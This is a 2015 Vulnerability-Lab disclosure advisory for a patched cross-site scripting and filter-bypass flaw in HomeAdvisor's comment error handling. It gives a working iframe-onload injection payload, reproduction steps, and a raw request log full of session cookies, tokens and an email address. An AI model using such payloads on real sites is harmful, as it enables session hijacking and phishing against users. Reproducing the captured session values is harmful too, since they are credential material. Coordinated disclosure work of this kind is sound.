Document Title: =============== HomeAdvisor Bug Bounty #1 - Filter Bypass & Client Side Exception Handling Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1452 Release Date: ============= 2015-04-21 Vulnerability Laboratory ID (VL-ID): ==================================== 1452 Common Vulnerability Scoring System: ==================================== 3.6 Product & Service Introduction: =============================== HomeAdvisor is a website that lists pre-screened and customer-rated service professionals. The website also has tools, products, and resources for home improvement, maintenance, and repair. HomeAdvisor is a subsidiary of IAC. Professionals in the HomeAdvisor network are pre-screened for criminal records, bankruptcy issues, bad reviews, sex offenses, and cases of malpractice. Homeowners choose a category that matches their home improvement needs, enter their full address or adjacent cross-streets and contact information and answer three pages of questions about their project. (Copy of the Homepage: http://en.wikipedia.org/wiki/HomeAdvisor ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a filter bypass and issue and client-side cross site scripting web vulnerability in the official homeadvisor web-application. Vulnerability Disclosure Timeline: ================================== 2015-03-10: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2015-03-11: Vendor Notification (HomeAdvisor Inc - Security Research Team) 2015-03-26: Vendor Response/Feedback (HomeAdvisor Inc - Security Research Team) 2015-04-20: Vendor Fix/Patch (HomeAdvisor Inc - Developer Team) 2015-04-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== HomeAdvisor Inc Product: HomeAdvisor - Web Application (Online Service) 2015 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent cross site scripting web vulnerability (client-side) and filter bypass issue has been discovered in the official HomeAdvisor web-application. The security vulnerability allows remote attackers to execute client-side script code that compromises the homeadvisor web-application. The client-side cross site scripting web vulnerability is located in the exception-handling comments context. Remote attackers are able to inject client-side script code that executes in the web-application exception-handling. The request method to execute is GET and the attack vector is client-side. Remote attackers are able to prepare special crafted urls with own script codes to compromise homeadvisor user session data in connection with client-side attacks. The security risk of the client-side cross site scripting web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. Exploitation of the non-persistent web vulnerability requires a low privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerabilities result in persistent phishing, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context. Request Method(s): [+] GET Vulnerable Module(s): [+] rated.VipElectric.11975047.html#profile Affected Parameter(s): [+] sm/security/login/isLoggedInOrRecognized Proof of Concept (PoC): ======================= The client-side cross site scripting vulnerability and filter bypass issue can be exploited by remote attackers without privileged application user account and with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Login to the service 2. Surf to for example (http://www.homeadvisor.com/rated.VipElectric.11975047.html#profile) 3. Inject splitted char payload to the input of the comments 4. Send the comment 5. An exception occurs with an error (An error has occurred, please try again later (400124) 6. Under the exception is the injected code 7. Now click to embed the stuff or use the share function 8. Successful reproduce of the vulnerability! PoC: Payload(s) </> %20%20%20"><iframe src=http://www.vulnerability-lab.com onload=("PTEST") < --- PoC Session Logs [GET] (Execution) --- 1:10:13.175[555ms][total 555ms] Status: 200[OK] GET http://www.homeadvisor.com/sm/security/login/isLoggedInOrRecognized Load Flags[LOAD_BACKGROUND ] Gre des Inhalts[-1] Mime Type[application/json] Request Header: Host[www.homeadvisor.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://www.homeadvisor.com/rated.VipElectric.11975047.html] Cookie[JSESSIONID=89CA35A29518C918753732BBA0A2619B.pwspr013-1; aff_track=2|*|23116563|*|0; sess_log=1426029961910pwspr01389CA35A29518C918753732BBA0A2619B.pwspr013-1; X-ha-bd-sess=1425986520:56461266; TS01430915=0109d29b8d179b434e41360538aabe44a1c76797febed11d293ea886b69c3de8bc1aa4d2853c2b3e3d4418ce9be034a42e46fc0ccb4e9e86dbbaaa903c4d5b347aaa340c177cc59a98648ac06086412168e42446ebd3a49b6712a2fbac5 e643d80fda0a0524c6f1ba864d1cfd81dd998aa466fd2d60a7288722d26db977320ff2495e511ca3e770ffaf1c822be2f478437e77cf2a2b054baebfda9be1b1384a378d0bbb4e9817c503d1b414a8287a80c8220d506f5f12622b0a1ea3626deb8a51 3594daefa; TS01a79be6=0109d29b8d5240c384919b5178f3277a1cfed624571201fc13952382841740935543b8faaf7d22a0ff91c3b61475f2e8410067cc1f82284d22f6f696422d11ed8b0cf28c2ce60e8cd3ee9216ce445edb2987ce56a7779feda039288b3e 17e61b409e71572c0b74d600efcf5c081f7291e95fac3aaa9258a72df1878c81eeca8325e66b9672b9b97cf33637d14041b4e1f7b1994210c09dc9b6f5a1455191e2998b4a8772e176f509335d3968af0f416b6a9d04b3fe; s_cc=true; s_fid=610258AEEAC3DF17-00A2F1CF9416C7D2; s_eVar8=consumer; c_m=undefinedType-InType-In; s_e69=Type-In; v71=%5B%5B%27Type-In%27%2C%271425986515454%27%5D%2C%5B%27Internal%27%2C%271425993558198%27%5D%2C%5B%27Type-In%27%2C%271425993618602%27%5D%2C%5B%27Internal%27%2C%271425995800972%27%5D%2C%5B%27 Type-In%27%2C%271426014538662%27%5D%2C%5B%27Internal%27%2C%271426017442804%27%5D%2C%5B%27Type-In%27%2C%271426030375147%27%5D%5D; s_evar46=6%3A00PM; s_evar47=Tuesday; s_evar48=Weekday; s_dslv2=1426032535680; s_gnr=1426032535681-Repeat; s_gnr2=Repeat; s_vnum=1427839200456%26vn%3D8; s_visNum=8; s_ppv=10; v11=84.185.13.226; s_sq=smagic-smprod%3D%2526pid%253DXM%252520SP%252520 Profile%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.homeadvisor.com%25252Fjavascrip%252525C2%252525ADt%25253Adocument.cook%252525C2%252525ADie%25253Dtrue%25253B%25252F%25252F%252523%2526ot%253DA; fsr.s=%7B%22cp%22%3A%7B%22userID%22%3A%2246040820%22%2C%22sessionID%22%3A%221426029961910pwspr01389CA35A29518C918753732BBA0A2619B.pwspr013-1%22%2C%22categoryID%22%3A%22-12003%22%2C%22entryPage%22%3A%22%2F cost%2F%22%2C%22zipCode%22%3A%22%22%2C%22affiliateID%22%3A%2223116563%22%2C%22loggedIn%22%3A%22false%22%2C%22ActionName%22%3A%22%20 CostGuide_Mobile_10_2014_SITE-3032_mobile%2C%20FollowU_Zip_July2014_SITE3493_Zip%2C%20MM_SR_Path_Redesign_8_2014_SITE-3022_New%22%2C%22 proAccepts%22%3A%220%22%2C%22matchType%22%3A%221%22%2C%22backstopPros%22%3A%220%22%2C%22srOID%22%3A%2262243775%22%7D%2C%22v2%22%3A1%2C%22v1%22%3A1%2C%22mid%22%3A%22d036702-53516078-bdc2-f14c- 58e6b%22%2C%22rt%22%3Afalse%2C%22rc%22%3Atrue%2C%22rid%22%3A%22d036702-53517934-beee-c673-616a7%22%2C%22to%22%3A4.5%2C%22c%22%3A%22http%3A%2F%2Fwww.homeadvisor.com%2Fservlet%2FContentCommentServlet %22%2C%22pv%22%3A188%2C%22lc%22%3A%7B%22d1%22%3A%7B%22v%22%3A182%2C%22s%22%3Atrue%2C%22e%22%3A5%7D%7D%2C%22cd%22%3A1%2C%22f%22%3A1426031413593%2C%22sd%22%3A1%2C%22l%22%3A%22en%22%2C%22i%22%3A-1%7D; optimizelySegments=%7B%22192702441%22%3A%22ff%22%2C%22192663147%22%3A%22false%22%2C%22192690192%22%3A%22none%22%2C%22192644497%22%3A%22direct%22%2C%222403180023%22%3A%22true%22%7D; optimizelyEndUserId=oeu1425986515515r0.36085588611318686; optimizelyBuckets=%7B%222509000457%22%3A%222563320274%22%2C%222601010276%22%3A%222601800266%22%2C%222623890407%22%3A%222647140222%22%7D; __utma=65920055.115194839.1425986516.1426017443.1426029956.8; __utmc=65920055; __utmz=65920055.1425986516.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2A7F69ED05309508-40000301600EFE2F[CE]; __ar_v4=CQGP6W2UOJGBFCANPRKR5H%3A20150309%3A5%7CIDYAPENI5FCGPGA2NLXVJ5%3A20150309%3A1%7C2LYJLG4RLJCKZCOW7TRWTE%3A20150309%3A157%7C4SFWD66ESVAFDCGDKRX43R%3A20150309%3A188%7COBIU2LI5ZFELBJFDGHFF5S %3A20150309%3A188%7CYKBDSWI7CVFBROZXQAPFMB%3A20150309%3A14%7CLC3U2GKD5VF63JGOPX6HT2%3A20150309%3A11; TS01527d1a=0109d29b8d060f45e2e967a61f04582c6c2bfc582baea68c62234fa8606172257738cde47c5404771784301981267f77be284b4e77256c3122d99f8a660d03cc64406c4faaa10d7de3213d047ef255db8f1f12bd1f4697db8 ca02dbb0d79bdd0151355e51089499fa949916329943e1a19ff53fab2; s_e4=event4; s_eVar55=46040820; __gads=ID=357daba345c2b8c0:T=1425986677:S=ALNI_MYyhje-vimsjWs8tJf_Qiae1cpHUg; fsr.r=%7B%22d%22%3A90%2C%22i%22%3A%22d036702-53517934-beee-c673-616a7%22%2C%22e%22%3A1426591573816%7D; __qca=P0-1277497560-1425988321274; s_usr=62243775; s_sm_st=23132; s_sm_c43=0; s_xmdct=0; keyCode=46040820_v30b615ec2e400ae11809849a05c1542cf; psacn=746971; csdcn=1426029961910; originatingSessionID=1426002115185pwspr00876A620929206B7212CE306A3E369D614; psdcn=1426017448504; csacn=746971; ServerID=218736832.20480.0000; fpv=1; s_dslv2_s=Less%20than%201%20day; s_invisit=true; __utmb=65920055.34.10.1426029956; glt_3_Wd_kQ4DJvIfvFBwN5u4vNdB_Rs4wdW8_OmExAoOq35NyVPyKy9RMvQBIPpT0YoDM=LT3_Ocj0qTvw9LW02XcAJQubDhVJ5PPbV-JsJzS_cp9Lyps%7CUUID%3Dbd47502754b04a68905a7c4e0ccba02b; _gig_email=admin%40evolution-sec.com; __utmt=1] Connection[keep-alive] Response Header: Date[Wed, 11 Mar 2015 00:10:20 GMT] Vary[Accept-Encoding] Content-Encoding[gzip] Keep-Alive[timeout=5, max=100] Connection[Keep-Alive] Content-Type[application/json;charset=UTF-8] Set-Cookie[ServerID=218736832.20480.0000; expires=Wed, 11-Mar-2015 00:35:20 GMT; path=/ TS01430915=0109d29b8d179b434e41360538aabe44a1c76797febed11d293ea886b69c3de8bc1aa4d2853c2b3e3d4418ce9be034a42e46fc0ccb4e9e86dbbaaa903c4d5b347aaa340c177cc59a98648ac06086412168e42446eb d3a49b6712a2fbac5e643d80fda0a0524c6f1ba864d1cfd81dd998aa466fd2d60a7288722d26db977320ff2495e511ca3e770ffaf1c822be2f478437e77cf2a2b054baebfda9be1b1384a378d0bbb4e9817c503d1b414a8287 a80c8220d506f5f12622b0a1ea3626deb8a513594daefa; Path=/] Transfer-Encoding[chunked] Reference(s): http://www.homeadvisor.com/rated.VipElectric.11975047.html http://www.homeadvisor.com/sm/security/login/isLoggedInOrRecognized Solution - Fix & Patch: ======================= The issue can be patched by a secure parse and encode of the exception output message after the input through the html file. Restrict the input and disallow special chars or use a secure exception to prevent injection attacks. Payload: </> %20%20%20``><iframe src=http://www.vulnerability-lab.com onload=(``PTEST``) < Security Risk: ============== The security risk of the client-side cross site scripting vulnerability in the exception and filter bypass issue are estimated as medium. (CVSS 3.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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